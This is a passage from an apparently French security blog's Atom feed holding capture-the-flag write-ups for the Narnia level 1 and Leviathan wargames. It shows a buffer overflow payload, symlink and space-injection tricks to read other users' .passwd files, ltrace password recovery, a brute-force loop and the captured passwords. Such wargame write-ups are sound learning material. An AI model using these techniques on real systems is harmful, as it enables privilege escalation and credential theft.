margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-RpgoKpVTTYc/TpWYXr8AWTI/AAAAAAAAAGU/M6ZM2pUzjtw/s1600/100px-Pile_debordement.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(image tirée de &lt;a href="http://fr.wikipedia.org/wiki/D%C3%A9passement_de_tampon"&gt;wikipedia&lt;/a&gt;) &lt;br /&gt;&lt;br /&gt;Et une deuxième aide dans le &lt;a href="http://linux.die.net/man/7/ascii"&gt;man ascii&lt;/a&gt; qui donne la correspondance entre l'hexadécimal et les caractères alphanumériques. Au moins une valeur est à connaître, le 0x41 pour le A majuscule, cette valeur revient _&lt;a href="http://www.google.fr/search?q=0x41414141"&gt;souvent&lt;/a&gt;_ :-)&lt;br /&gt;&lt;br /&gt;Le programme vulnérable à exploiter est celui-ci:&lt;br /&gt;&lt;div class="line number1 index0 alt2"&gt;&lt;code class="c comments"&gt;/*&lt;/code&gt;&lt;/div&gt;&lt;div class="line number2 index1 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;This program is free software; you can redistribute it and/or modify&lt;/code&gt;&lt;/div&gt;&lt;div class="line number3 index2 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;it under the terms of the GNU General Public License as published by&lt;/code&gt;&lt;/div&gt;&lt;div class="line number4 index3 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;the Free Software Foundation; either version 2 of the License, or&lt;/code&gt;&lt;/div&gt;&lt;div class="line number5 index4 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;(at your option) any later version.&lt;/code&gt;&lt;/div&gt;&lt;div class="line number6 index5 alt1"&gt;&lt;/div&gt;&lt;div class="line number7 index6 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;This program is distributed in the hope that it will be useful,&lt;/code&gt;&lt;/div&gt;&lt;div class="line number8 index7 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;but WITHOUT ANY WARRANTY; without even the implied warranty of&lt;/code&gt;&lt;/div&gt;&lt;div class="line number9 index8 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.&amp;nbsp; See the&lt;/code&gt;&lt;/div&gt;&lt;div class="line number10 index9 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;GNU General Public License for more details.&lt;/code&gt;&lt;/div&gt;&lt;div class="line number11 index10 alt2"&gt;&lt;/div&gt;&lt;div class="line number12 index11 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;You should have received a copy of the GNU General Public License&lt;/code&gt;&lt;/div&gt;&lt;div class="line number13 index12 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;along with this program; if not, write to the Free Software&lt;/code&gt;&lt;/div&gt;&lt;div class="line number14 index13 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c comments"&gt;Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA&amp;nbsp; 02110-1301&amp;nbsp; USA&lt;/code&gt;&lt;/div&gt;&lt;div class="line number15 index14 alt2"&gt;&lt;code class="c comments"&gt;*/&lt;/code&gt;&lt;/div&gt;&lt;code class="c preprocessor"&gt;#include &lt;stdio.h&gt;&lt;/stdio.h&gt;&lt;/code&gt;&lt;br /&gt;&lt;div class="line number18 index17 alt1"&gt;&lt;code class="c preprocessor"&gt;#include &lt;stdlib.h&gt;&lt;/stdlib.h&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="line number19 index18 alt2"&gt;&lt;/div&gt;&lt;div class="line number20 index19 alt1"&gt;&lt;code class="c color1 bold"&gt;int&lt;/code&gt; &lt;code class="c plain"&gt;main(){&lt;/code&gt;&lt;/div&gt;&lt;div class="line number21 index20 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c color1 bold"&gt;long&lt;/code&gt; &lt;code class="c plain"&gt;val=0x41414141;&lt;/code&gt;&lt;/div&gt;&lt;div class="line number22 index21 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c color1 bold"&gt;char&lt;/code&gt; &lt;code class="c plain"&gt;buf[20];&lt;/code&gt;&lt;/div&gt;&lt;div class="line number23 index22 alt2"&gt;&lt;/div&gt;&lt;div class="line number24 index23 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c functions bold"&gt;printf&lt;/code&gt;&lt;code class="c plain"&gt;(&lt;/code&gt;&lt;code class="c string"&gt;"Correct val's value from 0x41414141 -&amp;gt; 0xdeadbeef!\n"&lt;/code&gt;&lt;code class="c plain"&gt;);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number25 index24 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c functions bold"&gt;printf&lt;/code&gt;&lt;code class="c plain"&gt;(&lt;/code&gt;&lt;code class="c string"&gt;"Here is your chance: "&lt;/code&gt;&lt;code class="c plain"&gt;);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number26 index25 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c functions bold"&gt;scanf&lt;/code&gt;&lt;code class="c plain"&gt;(&lt;/code&gt;&lt;code class="c string"&gt;"%24s"&lt;/code&gt;&lt;code class="c plain"&gt;,&amp;amp;buf);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number27 index26 alt2"&gt;&lt;/div&gt;&lt;div class="line number28 index27 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c functions bold"&gt;printf&lt;/code&gt;&lt;code class="c plain"&gt;(&lt;/code&gt;&lt;code class="c string"&gt;"buf: %s\n"&lt;/code&gt;&lt;code class="c plain"&gt;,buf);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number29 index28 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c functions bold"&gt;printf&lt;/code&gt;&lt;code class="c plain"&gt;(&lt;/code&gt;&lt;code class="c string"&gt;"val: 0x%08x\n"&lt;/code&gt;&lt;code class="c plain"&gt;,val);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number30 index29 alt1"&gt;&lt;/div&gt;&lt;div class="line number31 index30 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c keyword bold"&gt;if&lt;/code&gt;&lt;code class="c plain"&gt;(val==0xdeadbeef){&lt;/code&gt;&lt;/div&gt;&lt;div class="line number32 index31 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c plain"&gt;seteuid(1002);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number33 index32 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c functions bold"&gt;system&lt;/code&gt;&lt;code class="c plain"&gt;(&lt;/code&gt;&lt;code class="c string"&gt;"/bin/sh"&lt;/code&gt;&lt;code class="c plain"&gt;);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number34 index33 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c plain"&gt;} &lt;/code&gt;&lt;code class="c keyword bold"&gt;else&lt;/code&gt; &lt;code class="c plain"&gt;{&lt;/code&gt;&lt;/div&gt;&lt;div class="line number35 index34 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c functions bold"&gt;printf&lt;/code&gt;&lt;code class="c plain"&gt;(&lt;/code&gt;&lt;code class="c string"&gt;"WAY OFF!!!!\n"&lt;/code&gt;&lt;code class="c plain"&gt;);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number36 index35 alt1"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c functions bold"&gt;exit&lt;/code&gt;&lt;code class="c plain"&gt;(1);&lt;/code&gt;&lt;/div&gt;&lt;div class="line number37 index36 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c plain"&gt;}&lt;/code&gt;&lt;/div&gt;&lt;div class="line number38 index37 alt1"&gt;&lt;/div&gt;&lt;div class="line number39 index38 alt2"&gt;&lt;code class="c spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="c keyword bold"&gt;return&lt;/code&gt; &lt;code class="c plain"&gt;0;&lt;/code&gt;&lt;/div&gt;&lt;div class="line number40 index39 alt1"&gt;&lt;code class="c plain"&gt;}&lt;/code&gt;&lt;br /&gt;&lt;code class="c plain"&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;Avant d'exploiter ce programme, il faut comprendre le lien entre le code source, le code compilé et la mémoire. Ce code est compilé, puis exécuté. L'exécution d'un programme, c'est la copie du code compilé en mémoire, puis son exécution. L'exécution, c'est la parcours régulier de la mémoire, vu comme un fil directeur qui indique quoi faire (lire une variable, écrire une variable, aller ailleurs sur le fil d'exécution, etc..). Dans la mémoire, nous retrouvons plusieurs choses, à commencer par le nom du programme (le fameux argv[0] connu des codeurs C), et les emplacements des variables, qui sont côte à côte.&lt;br /&gt;&lt;br /&gt;Dans la mémoire, nous avons donc deux variables contigües, val et buf. buf n'a que 20 octets de reservé. Si buf fait plus de 20 octets alors il déborde sur val. On peut se rendre compte facilement de ce comportement en donnant 22 fois la lettre 'a' minuscule lors du lancement de ce programme (a vaut 0x61 en hex). La variable 'val' contient deux 41 et deux 61 prouvant bien qu'il est possible de modifier une variable sans la manipuler directement. Une variable déborde sur une autre, c'est donc un buffer overflow.&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;L'exploitation est donnée après le saut:&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;Les valeurs 0xdeadbeef ne correspondent à aucun caractère imprimable, on peut toutefois les envoyer via un pipe au programme à l'aide du programme printf (le programme shell, pas la fonction C):&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;level1@narnia:/wargame$ (printf 'AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde'; cat) | ./level1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;Correct val's value from 0x41414141 -&amp;gt; 0xdeadbeef!&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAïŸ­Þ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;val: 0xdeadbeef&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;cat /home/level2/.passwd&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;u4GTyjtd&lt;/span&gt;&lt;br /&gt;^D&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;level1@narnia:/wargame$ su - level2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Il est nécessaire de fournir la valeur, puis un cat afin que le shell ne termine pas immédiatement. Ensuite, le shell n'a aucun prompt, mais il répond aux commandes.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-1854803591692855483?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/1854803591692855483/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/10/challenge-sur-intruded-narnia-level1.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/1854803591692855483'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/1854803591692855483'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/10/challenge-sur-intruded-narnia-level1.html' title='Challenge sur intruded - Narnia Level1'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-RpgoKpVTTYc/TpWYXr8AWTI/AAAAAAAAAGU/M6ZM2pUzjtw/s72-c/100px-Pile_debordement.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-6824499492856576799</id><published>2011-10-13T06:00:00.000+02:00</published><updated>2011-10-14T16:40:12.330+02:00</updated><title type='text'>Challenge sur intruded - Leviathan</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;De temps à autre je cherche à résoudre des challenges de sécurité. Il existe multitudes de sites, certains très ludiques, d'autres plus instructifs. On m'a fourni le site &lt;a href="http://www.intruded.net/"&gt;intruded.net&lt;/a&gt; qui offre un certain nombre de challenges. [update: Le site semble malheureusement down en ce moment :-/] Les machines sont rebootées régulièrement, vérifiez via la commande uptime qu'il reste suffisamment de temps pour pouvoir mener l'exploit à bout. Les mots de passes sont systématiquement enregistrés dans le dossier caché&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt; ~/.passwd&lt;/span&gt; des utilisateurs.&lt;br /&gt;&lt;br /&gt;Les challenges sont classés par difficulté croissante. Le premier, Leviathan, est extrêmement simple. Aussi, je donne la solution des 8 niveaux en un message. Si vous souhaitez faire ce challenge, ne lisez pas plus loin :-)&lt;br /&gt;&lt;br /&gt;Le challenge Leviathant est entièrement tourné vers de l'utilisation d'outil *nix. Pas de programmation, pas de failles l33t, juste un peu de curiosité intellectuelle et des connaissances de bases que tout linuxien qui a réussi à installer sa distro doit connaître. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;u&gt;Level1:&lt;/u&gt; la connexion se fait sur leviathan:&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;ssh -p 10101 leviathan.intruded.net -l level1&lt;/div&gt;&lt;br /&gt;( pass: leviathan )&lt;br /&gt;&lt;br /&gt;Aucune aide n'est donnée, il s'agit donc d'exploration. Un simple ls -la montre un répertoire caché .backup. Dans ce répertoire un fichier, et grep fournit la solution:&lt;br /&gt;grep intruded .backup/bookmarks.html&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;/span&gt;&lt;br /&gt;donne une URL pointant sur nahtaivel.intruded.net (nahtaivel = leviathan à l'envers). Et cette URL contient le password de level2.&lt;br /&gt;Un su - level2 plus tard:&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Level2:&lt;/u&gt;&amp;nbsp; Les fichiers à exploiter sont situés dans le dossier /wargame/ (une référence au &lt;a href="http://fr.wikipedia.org/wiki/War_Games_%28film%29"&gt;film éponyme&lt;/a&gt;?).&lt;br /&gt;Les droits des fichiers montrent qu'il faut lancer le programme check qui demande un mot de passe. La commande strings appliquée à ce programme permet de trouver ce mot de passe 'sex':&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;level2@leviathan:/wargame$ ./check&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;password: sex&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;sh-3.1$ cat /home/level3/.passwd&lt;/span&gt;&lt;br /&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;Level3:&lt;/u&gt; Le programme a lancer est 'prog'. Il semble lire le contenu d'un fichier:&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;level3@leviathan:~$ /wargame/prog&lt;br /&gt;Cannot find /tmp/file.log&lt;br /&gt;level3@leviathan:~$ echo "abcd" &amp;gt; /tmp/file.log&lt;br /&gt;level3@leviathan:~$ /wargame/prog&lt;br /&gt;abcd&lt;/div&gt;&lt;br /&gt;Et l'utilisation d'un simple lien symbolique permet de connaître le mot de passe pour le niveau suivant:&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;level3@leviathan:~$ ln -s /home/level4/.passwd /tmp/file.log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;level3@leviathan:~$ /wargame/prog&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;G5hMQUAd&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Level4&lt;/u&gt;: Nous nous trouvons de nouveau face à un programme demandant un mot de passe. L'utilisation de la commande strings fournit plusieurs mots semblant être des mots de passe, mais aucun ne fonctionne. La commande &lt;a href="http://linux.die.net/man/1/ltrace"&gt;ltrace&lt;/a&gt; est disponible toutefois:&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;level4@leviathan:/wargame$ ltrace ./level4&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;__libc_start_main(0x8048523, 1, 0xbffffb44, 0x8048650, 0x8048600 &lt;unfinished ...=""&gt;&amp;nbsp;&lt;/unfinished&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;/span&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;strcmp("h0no33", kakaka") = -1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;printf("Enter the password&amp;gt; ") = 20&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;fgets(Enter the password&amp;gt; bloup&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;"bloup\n", 256, 0xb7fe1300) = 0xbffff95d&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;strcmp("bloup\n", "snlprintf\n") = -1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;puts("bzzzzzzzzap. WRONG"bzzzzzzzzap. WRONG&lt;/span&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;)= 19&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;+++ exited (status 0) +++&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;La fonction strcmp indique immédiatement quelle comparaison est faite.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;level4@leviathan:/wargame$ ./level4&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;Enter the password&amp;gt; snlprintf&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;[You've got shell]!&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;sh-3.1$ cat /home/level5/.passwd&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;58VoEhbS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Level5:&lt;/u&gt; De nouveau une partie d'exploration. Un programme est disponible dans la corbeille: &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;.Trash/bin&lt;/span&gt;&lt;br /&gt;son exécution affiche des caractères binaires:&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;level5@leviathan:~/.Trash$ ./bin&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;01101000 00110110 00110010 01110011 01001010 01000010 01101010 01000011 00001010&lt;/span&gt;&lt;br /&gt;armé de n'importe quelle calculette, on transforme ces nombres en hexa, puis en caractères ASCII:&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;level5@leviathan:~/.Trash$ printf '\x68\x36\x32\x73\x4A\x42\x6A\x43\x0A'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;h62sJBjC&lt;/span&gt;&lt;br /&gt;Le résultat est tellement proche des autres mots de passe qu'on se logue level6 avec sans se poser plus de questions.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Level6:&lt;/u&gt; Nous avons un programme printfile, comme celui du niveau 3. Mais la méthode du lien symbolique ne fonctionne pas car ce programme vérifie les droits du fichiers accédé. ltrace est de nouveau utile pour exploiter ce programme. Une ligne semble intéressante, le snprintf qui ne semble pas bien gérer les fichiers avec espace.&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;level6@leviathan:/wargame$ ltrace ./printfile /tmp/'abcd efgh'&lt;br /&gt;__libc_start_main(0x8048424, 2, 0xbffffb34, 0x8048570, 0x8048520 &amp;lt;unfinished ...&amp;gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;access("/tmp/abcd efgh", 0) = 0&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;snprintf("/bin/cat /tmp/abcd efgh", 511, "/bin/cat %s", "/tmp/abcd efgh") = 23&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;system("/bin/cat /tmp/abcd efgh"abcd&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;/bin/cat: efgh: No such file or directory&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;lt;unfinished ...&amp;gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;--- SIGCHLD (Child exited) ---&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;lt;... system resumed&amp;gt; ) = 256&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;+++ exited (status 0) +++&lt;/div&gt;Le /bin/cat va donc mal gérer le nom de fichier transmis en le découpant en deux noms de fichiers via l'espace, de plus il le fait après avoir vérifié les droits du fichier. Exploitation:&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;/div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;level6@leviathan:/wargame$ ln -s /home/level7/.passwd /tmp/efgh&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;level6@leviathan:/wargame$ cd /tmp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;level6@leviathan:/tmp$ /wargame/printfile /tmp/'abcd efgh'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;abcd&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;hMuFM0Sn&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;level6@leviathan:/tmp$ su - level7&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;Level7&lt;/span&gt;: un simple exercice de boucle. Il faut trouver la bonne valeur comprise entre 0000 et 9999. Un script shell fait l'affaire:&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;level7@leviathan:/wargame$ for i in `seq -w 0000 9999`; do ./sphinx $i; done&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;/div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;sh-3.1$ cat /home/level8/.passwd&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;TRwkApSQ&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Level8:&lt;/u&gt; Le dernier effort d'exploration :-) un ls devrait donner la solution.&lt;br /&gt;&lt;br /&gt;Ce challenge est intéressant car pour une fois il n'est pas tourné à 99,9% du temps vers du reverse de code obfusqué.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-6824499492856576799?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/6824499492856576799/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/10/challenge-sur-intruded-leviathan.html#comment-form' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/6824499492856576799'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/6824499492856576799'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/10/challenge-sur-intruded-leviathan.html' title='Challenge sur intruded - Leviathan'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-2649739240359615369</id><published>2011-10-12T06:00:00.000+02:00</published><updated>2011-10-12T06:00:05.395+02:00</updated><title 